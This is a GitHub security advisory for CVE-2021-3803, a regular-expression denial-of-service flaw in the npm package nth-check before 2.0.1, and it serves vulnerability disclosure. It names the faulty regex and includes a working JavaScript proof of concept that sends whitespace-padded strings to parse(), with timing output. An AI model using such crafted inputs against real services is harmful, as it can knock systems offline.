ghsa-rp65-9cf3-cjxr
Vulnerability from github
There is a Regular Expression Denial of Service (ReDoS) vulnerability in nth-check that causes a denial of service when parsing crafted invalid CSS nth-checks.
The ReDoS vulnerabilities of the regex are mainly due to the sub-pattern \s*(?:([+-]?)\s*(\d+))?
with quantified overlapping adjacency and can be exploited with the following code.
Proof of Concept
js
// PoC.js
var nthCheck = require("nth-check")
for(var i = 1; i <= 50000; i++) {
var time = Date.now();
var attack_str = '2n' + ' '.repeat(i*10000)+"!";
try {
nthCheck.parse(attack_str)
}
catch(err) {
var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost+" ms")
}
}
The Output
attack_str.length: 10003: 174 ms
attack_str.length: 20003: 1427 ms
attack_str.length: 30003: 2602 ms
attack_str.length: 40003: 4378 ms
attack_str.length: 50003: 7473 ms
{ "affected": [ { "ecosystem_specific": { "affected_functions": [ "(nth-check).parse" ] }, "package": { "ecosystem": "npm", "name": "nth-check" }, "ranges": [ { "events": [ { "introduced": "0" }, { "fixed": "2.0.1" } ], "type": "ECOSYSTEM" } ] } ], "aliases": [ "CVE-2021-3803" ], "database_specific": { "cwe_ids": [ "CWE-1333" ], "github_reviewed": true, "github_reviewed_at": "2021-09-20T20:15:09Z", "nvd_published_at": "2021-09-17T07:15:00Z", "severity": "HIGH" }, "details": "There is a Regular Expression Denial of Service (ReDoS) vulnerability in nth-check that causes a denial of service when parsing crafted invalid CSS nth-checks.\n\nThe ReDoS vulnerabilities of the regex are mainly due to the sub-pattern `\\s*(?:([+-]?)\\s*(\\d+))?` with quantified overlapping adjacency and can be exploited with the following code.\n\n**Proof of Concept**\n```js\n// PoC.js\nvar nthCheck = require(\"nth-check\")\nfor(var i = 1; i \u003c= 50000; i++) {\n var time = Date.now();\n var attack_str = \u00272n\u0027 + \u0027 \u0027.repeat(i*10000)+\"!\";\n try {\n nthCheck.parse(attack_str) \n }\n catch(err) {\n var time_cost = Date.now() - time;\n console.log(\"attack_str.length: \" + attack_str.length + \": \" + time_cost+\" ms\")\n }\n}\n```\n\n**The Output**\n```\nattack_str.length: 10003: 174 ms\nattack_str.length: 20003: 1427 ms\nattack_str.length: 30003: 2602 ms\nattack_str.length: 40003: 4378 ms\nattack_str.length: 50003: 7473 ms\n```", "id": "GHSA-rp65-9cf3-cjxr", "modified": "2023-09-13T21:49:54Z", "published": "2021-09-20T20:47:31Z", "references": [ { "type": "ADVISORY", "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-3803" }, { "type": "WEB", "url": "https://github.com/fb55/nth-check/commit/9894c1d2010870c351f66c6f6efcf656e26bb726" }, { "type": "PACKAGE", "url": "https://github.com/fb55/nth-check" }, { "type": "WEB", "url": "https://huntr.dev/bounties/8cf8cc06-d2cf-4b4e-b42c-99fafb0b04d0" }, { "type": "WEB", "url": "https://lists.debian.org/debian-lts-announce/2023/05/msg00023.html" } ], "schema_version": "1.4.0", "severity": [ { "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "type": "CVSS_V3" } ], "summary": "Inefficient Regular Expression Complexity in nth-check" }
Sightings
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Nomenclature
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- Not patched: This vulnerability was not successfully patched by the user reporting the sighting.